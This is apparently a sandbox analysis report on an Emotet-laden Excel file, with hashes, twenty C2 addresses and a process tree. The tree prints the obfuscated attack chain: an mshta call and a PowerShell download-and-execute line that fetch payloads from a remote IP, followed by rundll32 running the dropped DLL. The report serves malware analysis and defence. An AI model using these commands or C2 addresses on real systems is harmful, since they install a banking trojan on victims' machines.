Analysis

  • max time kernel
    59s
  • max time network
    48s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    28-01-2022 02:39

General

  • Target

    2022-1-28-5cebfe367350577ffb538c70903fd827.xls

  • Size

    47KB

  • MD5

    5cebfe367350577ffb538c70903fd827

  • SHA1

    aa64391e91664013f600192b910f862f31ae5c63

  • SHA256

    5ef52f4f5deb0e152aa64b4caf544485ce1e2e6b9c492cf7d317668fb3783d4e

  • SHA512

    70ff6ad683f185f757509b569b8d7b91db614fbd39cce5da3d814f6a6ea56b3c5ed0438cef3da03f411a5e828a013af5633a3301cc90f4f319d36b2b836d2514

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.240.118.168/vvv/ppp/fe.png

Extracted

Family

emotet

Botnet

Epoch4

C2

51.15.4.22:443

173.214.173.220:8080

212.237.5.209:443

192.254.71.210:443

216.158.226.206:443

162.243.175.63:443

212.24.98.99:8080

58.227.42.236:80

45.118.115.99:8080

104.251.214.46:8080

185.157.82.209:8080

46.55.222.11:443

188.40.137.206:8080

81.0.236.90:443

103.75.201.2:443

129.232.188.93:443

195.154.133.20:443

159.8.59.82:8080

79.172.212.216:8080

138.185.72.26:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\2022-1-28-5cebfe367350577ffb538c70903fd827.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1660
    • C:\Windows\SysWOW64\CMD.EXE
      CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1376
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://91.240.118.168/vvv/ppp/fe.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1412
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1720
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1816
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:1488
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:1408
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Pxhztmdou\rdtjajnykzbrgxv.ehi",DQSogtFtAwdk
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1472
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Pxhztmdou\rdtjajnykzbrgxv.ehi",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1712

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

1
T1112

Discovery

System Information Discovery

2
T1082

Query Registry

1
T1012

Replay Monitor

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Downloads

  • C:\ProgramData\QWER.dll
    MD5

    91889bc1858d4b5983c747be7e47fae7

    SHA1

    89bd70beecf51a83f0e9632e361847fddc9cf7aa

    SHA256

    23505b3556126c255502fe868283b2e93a0f5e051400c55d80c87a1e760c3be9

    SHA512

    8dacda8b1cc46454c394ed4275166db3aad8c45b9fcc4a8a4719e3613cce2ace2d3c9c59c5ede2e50e80b49ab989960e6fe3509db6d2874d017d931452d027fd

  • \ProgramData\QWER.dll
    MD5

    91889bc1858d4b5983c747be7e47fae7

    SHA1

    89bd70beecf51a83f0e9632e361847fddc9cf7aa

    SHA256

    23505b3556126c255502fe868283b2e93a0f5e051400c55d80c87a1e760c3be9

    SHA512

    8dacda8b1cc46454c394ed4275166db3aad8c45b9fcc4a8a4719e3613cce2ace2d3c9c59c5ede2e50e80b49ab989960e6fe3509db6d2874d017d931452d027fd

  • \ProgramData\QWER.dll
    MD5

    91889bc1858d4b5983c747be7e47fae7

    SHA1

    89bd70beecf51a83f0e9632e361847fddc9cf7aa

    SHA256

    23505b3556126c255502fe868283b2e93a0f5e051400c55d80c87a1e760c3be9

    SHA512

    8dacda8b1cc46454c394ed4275166db3aad8c45b9fcc4a8a4719e3613cce2ace2d3c9c59c5ede2e50e80b49ab989960e6fe3509db6d2874d017d931452d027fd

  • \ProgramData\QWER.dll
    MD5

    91889bc1858d4b5983c747be7e47fae7

    SHA1

    89bd70beecf51a83f0e9632e361847fddc9cf7aa

    SHA256

    23505b3556126c255502fe868283b2e93a0f5e051400c55d80c87a1e760c3be9

    SHA512

    8dacda8b1cc46454c394ed4275166db3aad8c45b9fcc4a8a4719e3613cce2ace2d3c9c59c5ede2e50e80b49ab989960e6fe3509db6d2874d017d931452d027fd

  • \ProgramData\QWER.dll
    MD5

    91889bc1858d4b5983c747be7e47fae7

    SHA1

    89bd70beecf51a83f0e9632e361847fddc9cf7aa

    SHA256

    23505b3556126c255502fe868283b2e93a0f5e051400c55d80c87a1e760c3be9

    SHA512

    8dacda8b1cc46454c394ed4275166db3aad8c45b9fcc4a8a4719e3613cce2ace2d3c9c59c5ede2e50e80b49ab989960e6fe3509db6d2874d017d931452d027fd

  • \ProgramData\QWER.dll
    MD5

    91889bc1858d4b5983c747be7e47fae7

    SHA1

    89bd70beecf51a83f0e9632e361847fddc9cf7aa

    SHA256

    23505b3556126c255502fe868283b2e93a0f5e051400c55d80c87a1e760c3be9

    SHA512

    8dacda8b1cc46454c394ed4275166db3aad8c45b9fcc4a8a4719e3613cce2ace2d3c9c59c5ede2e50e80b49ab989960e6fe3509db6d2874d017d931452d027fd

  • \ProgramData\QWER.dll
    MD5

    91889bc1858d4b5983c747be7e47fae7

    SHA1

    89bd70beecf51a83f0e9632e361847fddc9cf7aa

    SHA256

    23505b3556126c255502fe868283b2e93a0f5e051400c55d80c87a1e760c3be9

    SHA512

    8dacda8b1cc46454c394ed4275166db3aad8c45b9fcc4a8a4719e3613cce2ace2d3c9c59c5ede2e50e80b49ab989960e6fe3509db6d2874d017d931452d027fd

  • \ProgramData\QWER.dll
    MD5

    91889bc1858d4b5983c747be7e47fae7

    SHA1

    89bd70beecf51a83f0e9632e361847fddc9cf7aa

    SHA256

    23505b3556126c255502fe868283b2e93a0f5e051400c55d80c87a1e760c3be9

    SHA512

    8dacda8b1cc46454c394ed4275166db3aad8c45b9fcc4a8a4719e3613cce2ace2d3c9c59c5ede2e50e80b49ab989960e6fe3509db6d2874d017d931452d027fd

  • \ProgramData\QWER.dll
    MD5

    91889bc1858d4b5983c747be7e47fae7

    SHA1

    89bd70beecf51a83f0e9632e361847fddc9cf7aa

    SHA256

    23505b3556126c255502fe868283b2e93a0f5e051400c55d80c87a1e760c3be9

    SHA512

    8dacda8b1cc46454c394ed4275166db3aad8c45b9fcc4a8a4719e3613cce2ace2d3c9c59c5ede2e50e80b49ab989960e6fe3509db6d2874d017d931452d027fd

  • memory/1408-89-0x0000000002890000-0x00000000028B5000-memory.dmp
    Filesize

    148KB

  • memory/1408-86-0x0000000002650000-0x0000000002675000-memory.dmp
    Filesize

    148KB

  • memory/1408-84-0x0000000002590000-0x00000000025B5000-memory.dmp
    Filesize

    148KB

  • memory/1408-80-0x0000000001E00000-0x0000000001E25000-memory.dmp
    Filesize

    148KB

  • memory/1408-76-0x0000000000240000-0x0000000000265000-memory.dmp
    Filesize

    148KB

  • memory/1472-90-0x0000000000200000-0x0000000000225000-memory.dmp
    Filesize

    148KB

  • memory/1488-69-0x0000000000260000-0x0000000000285000-memory.dmp
    Filesize

    148KB

  • memory/1660-57-0x0000000075F81000-0x0000000075F83000-memory.dmp
    Filesize

    8KB

  • memory/1660-54-0x000000002FF51000-0x000000002FF54000-memory.dmp
    Filesize

    12KB

  • memory/1660-55-0x0000000071551000-0x0000000071553000-memory.dmp
    Filesize

    8KB

  • memory/1660-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/1712-98-0x0000000002340000-0x0000000002365000-memory.dmp
    Filesize

    148KB

  • memory/1712-94-0x0000000000160000-0x0000000000185000-memory.dmp
    Filesize

    148KB

  • memory/1712-100-0x00000000023F0000-0x0000000002415000-memory.dmp
    Filesize

    148KB

  • memory/1712-102-0x00000000024D0000-0x00000000024F5000-memory.dmp
    Filesize

    148KB

  • memory/1712-104-0x00000000025F0000-0x0000000002615000-memory.dmp
    Filesize

    148KB

  • memory/1712-106-0x0000000002740000-0x0000000002765000-memory.dmp
    Filesize

    148KB

  • memory/1712-108-0x00000000028C0000-0x00000000028E5000-memory.dmp
    Filesize

    148KB

  • memory/1712-111-0x00000000029C0000-0x00000000029E5000-memory.dmp
    Filesize

    148KB

  • memory/1712-112-0x0000000002A80000-0x0000000002AA5000-memory.dmp
    Filesize

    148KB

  • memory/1720-60-0x00000000022B0000-0x0000000002EFA000-memory.dmp
    Filesize

    12.3MB

  • memory/1720-61-0x00000000022B0000-0x0000000002EFA000-memory.dmp
    Filesize

    12.3MB

  • memory/1720-62-0x00000000022B0000-0x0000000002EFA000-memory.dmp
    Filesize

    12.3MB